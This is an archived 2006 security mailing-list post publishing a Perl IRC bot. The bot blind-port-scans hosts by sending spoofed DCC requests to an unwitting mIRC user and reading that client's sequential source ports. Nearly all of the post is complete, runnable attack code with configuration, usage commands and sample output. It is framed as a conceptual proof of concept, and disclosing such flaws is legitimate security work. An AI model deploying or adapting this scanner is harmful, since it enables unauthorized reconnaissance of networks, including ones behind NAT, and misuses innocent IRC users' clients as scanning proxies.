

[TOOL] IRC DCC Connect() Blind Port Scanner

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00041.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 15 Jan 2006 19:15:29 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

IRC DCC Connect() Blind Port Scanner

SUMMARY

DETAILS

Code:

```
#!/usr/bin/perl
# (IRC)DCC connect() blind port scanner
# =====
# This IRC bot implements a method to blind port
# scan a host using DCC. It works specifically
# against win32 IRC clients, namely mIRC. The
# attack relies on the fact that mIRC uses sequential
# port numbers when establishing DCC connections,
# incrementing only on a successful connect. An
# example of the implementation is shown below.
#
# --
# ||DCC ||
# mIRC|_|<-->|_|Attacker
# Src:1026
```

[TOOL] IRC DCC Connect() Blind Port Scanner

```
#
# 1. First we send a DCC request to the mIRC user.
# A listener on the attackers system learns the
# source port of the connecting DCC.
# _
# || 194.217.240.73
# | Destination port 2913
# /
# _ / _
# |||
# mIRC|_|<---|_|Attacker
# Src:1027
#
# 2. Then we send a spoofed DCC request (appearing
# to come from the Destination we intend to scan)
# to the mIRC client.
# _ _
# ||DCC ||
# mIRC|_|<-->|_|Attacker
# Src:1027
#
# 3. After waiting a short while for the mIRC client
# to either connect or timeout the connection to
# destination. We send another DCC request which
# connects to our listener. In our example, mIRC
# has not incremented its source port since phase 1
# of the attack, so we know the port is closed.
#
# It is worth noting at this point that the ideal
# candidate is a mIRC client with autoget/autochat
# enabled that isnt actively DCCing. DCC/port timeouts
# can provide false positives. The following behaviourly
# traits of microsoft systems were noticed which
# could affect the results of this scan.
#
# WinXP SP2(eng) has 1025 listening by default.
# Win2003 Enterprise(eng) has 1025 & 1026 listening default.
# Win2000 Adv. server(eng) has 1025,1026,1027,1028,1031,1036
# 1037,1038,1039 listening by default.
# Win2000 Professional has 1025 listening by default.
#
# This attack was tested extensively against a WinXP SP2(eng)
# mIRC client with Autoget/Autochat enabled and file ignore
# switched off. It obtained accurate scanning results.
# This technique can also be used to scan behind NAT.
#
# To use this bot, the following command is used
# from an IRC channel.
#
# !scan 192.168.0.1 65535 mircuser 1
# Dest IP Port Nick 1/2(CHAT/SEND)
```

[TOOL] IRC DCC Connect() Blind Port Scanner

```
#
# Example.
# < ATTACKER> !scan 192.168.0.1 22 mircsux 2
# < mIRCDCCx> [ (IRC)DCC connect() blind port scanner
# < mIRCDCCx> [ checking 192.168.0.1 (22/TCP) from mircsux using SEND
# < mIRCDCCx> [ port is open (LST:1024 SRC:1027 RST:3)
# < mIRCDCCx> [ done.
#
# This was not set out to be the best implementation
# of the attack. Just a conceptual tool that such an
# attack vector exists.
#
# - prdelka
use IO::Socket;

#####
# Configuration #
#####

my $ircserver = "irc.YOURIRCD.net";
my $nickname = "mIRCDCCx";
my $admin_channel = "#DCC-SCANNER";
my $listener_ip = '123.123.123.123';
my $listener_port = 10000;
my $dcc_timeout = 40;

#####
#!#DO NOT EDIT BELOW HERE#!#
#####
print "[ (IRC)DCC connect() blind port scanner robot running\n";
if($pid = fork()) #parent returns PID (parent is the IRC bot) (child is a
listener for DCC accepts)
{
#####
# connect to the IRC server #
# and join admin channel #
#####

$sock = IO::Socket::INET->new(
PeerAddr => $ircserver,
PeerPort => 6667,
Proto => 'tcp' ) or die "could not make the connection";

while($line = <$sock>){
if($line =~ /(NOTICE AUTH).*(checking ident)/i){
print $sock "NICK $nickname\nUSER username 0 0 :email\@address\n";
last;
}
}
while($line = <$sock>){
if($line =~ /^PING/){
```

[TOOL] IRC DCC Connect() Blind Port Scanner

```
print $sock "PONG :" . (split(/ :/, $line))[1];
}
if($line =~ /(376|422)/i){
#print $sock "NICKSERV :identify nick_password\n";
last;
}
}
sleep 3;
print $sock "JOIN $admin_channel nopnop\n";

#####
# START main loop #
#####

while ($line = <$sock>) {
#$text is the stuff from the ping or the text from the server
($command, $text) = split(/ :/, $line);

#####
# PING handler #
#####

if ($command eq 'PING'){
while ( (index($text,"r") >= 0) || (index($text,"\n") >= 0) ){
chop($text); }
print $sock "PONG $text\n";
next;
}

#####
# Main BOT code #
#####

($nick,$type,$channel) = split(/ /, $line); #split by spaces

($nick,$hostname) = split(/!/, $nick); #split by ! to get nick and
hostname separate

$nick =~ s/://; #remove :s
#$text =~ s/://;

#get rid of all line breaks. Again, many different way of doing this.
$/ = "\r\n";
while($text =~ m#$/($#){ chomp($text); }

#####
# CHANNEL CMD #
#####
```

[TOOL] IRC DCC Connect() Blind Port Scanner

```
if($channel eq $admin_channel){

if($text =~ !/scan/){
($trigger,$destination,$port,$nickname,$type) = split //,$text;
($da,$db,$dc,$dd) = split /\./,$listener_ip;
$decdest = sprintf("%2.2x%2.2x%2.2x%2.2x", $da,$db,$dc,$dd);
$decdest = hex($decdest);
($scana,$scanb,$scanc,$scand) = split /\./,$destination;
$scandest =
sprintf("%2.2x%2.2x%2.2x%2.2x", $scana,$scanb,$scanc,$scand);
$scandest = hex($scandest);
sleep 2;
print $sock "PRIVMSG $admin_channel :[ (IRC)DCC connect() blind port
scanner\n";
if($type==1)
{
print $sock "PRIVMSG $admin_channel :[ checking $destination
($port/TCP) from $nickname using CHAT\n";
print $sock "PRIVMSG $nickname :\x01DCC CHAT CHAT $decdest
$listner_port\x01\n";
sleep 5;
print $sock "PRIVMSG $nickname :\x01DCC CHAT CHAT $scandest
$port\x01\n";
sleep $dcc_timeout; # timeout ^ check 1 port
print $sock "PRIVMSG $nickname :\x01DCC CHAT CHAT $decdest
$listner_port\x01\n";
}
if($type==2)
{
$file = rand(time());
print $sock "PRIVMSG $admin_channel :[ checking $destination
($port/TCP) from $nickname using SEND\n";
print $sock "PRIVMSG $nickname :\x01DCC SEND $file $decdest
$listner_port 1864\x01\n";
sleep 5;
$file = rand(time());
print $sock "PRIVMSG $nickname :\x01DCC SEND $file
$scandest $port 1864\x01\n";
sleep $dcc_timeout; # timeout ^ check 1 port
$file = rand(time());
print $sock "PRIVMSG $nickname :\x01DCC SEND $file
$decdest $listner_port 1876\x01\n";
}
sleep 3;
open(OUT, "< tmp.txt");
while(<OUT>)
{
print $sock "PRIVMSG $admin_channel :$_";
sleep 1;
}
close(OUT);
```

[TOOL] IRC DCC Connect() Blind Port Scanner

```
print $sock "PRIVMSG $admin_channel :[ done.\n";
open(OUT, "> tmp.txt");
print OUT "";
close(OUT);
}

}

}

#####
# CHILD LISTENER #
#####
if($pid==0)#The child listner loop, setting port number connects.
{
$serv = new IO::Socket::INET (LocalAddr => $listner_ip,
LocalPort => $listner_port,
Proto => 'tcp',
Listen => 5);
while(1){
$new_sock = $serv->accept();
$peerport = $new_sock->peerport();
close($new_sock);
$baseport = $peerport;
$new_sock = $serv->accept();
$peerport = $new_sock->peerport();
$result = $peerport - $baseport;
open(OUT, "> tmp.txt");
if($baseport == 1024) ## WinXP(SP2)en. cavaet(src port 1025 unused!)
{
if($result == 2)
{
print OUT "[ port is closed (LST:$baseport SRC:$peerport
RST:$result)\n";
}
if($result == 3)
{
print OUT "[ port is open (LST:$baseport SRC:$peerport
RST:$result)\n";
}
}
if($baseport != 1024)
{
if($result == 1)
{
print OUT "[ port is closed (LST:$baseport SRC:$peerport
RST:$result)\n";
}
if($result == 2)
{
```

[TOOL] IRC DCC Connect() Blind Port Scanner

```
print OUT "[ port is open (LST:$baseport SRC:$peerport
RST:$result)\n";
}
}
close(OUT);
close($new_sock);
}
}
```

#EoF

ADDITIONAL INFORMATION

The information has been provided by <<mailto:wh1t3h4t3@xxxxxxxxxxx>>
Micheal Turner.
To keep updated with the tool visit the project's homepage at:
<<http://prdelka.blackart.org.uk/toOlz/mIRCDCCx>>
<http://prdelka.blackart.org.uk/toOlz/mIRCDCCx>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- Prev by Date: [*\[NEWS\] Cisco MARS Default Administrative Password*](#)
- Next by Date: [*\[EXPL\] Linux Kernel Socket Buffer Memory Exhaustion DoS \(Exploit\)*](#)
- Previous by thread: [*\[NEWS\] Cisco MARS Default Administrative Password*](#)
- Next by thread: [*\[EXPL\] Linux Kernel Socket Buffer Memory Exhaustion DoS \(Exploit\)*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)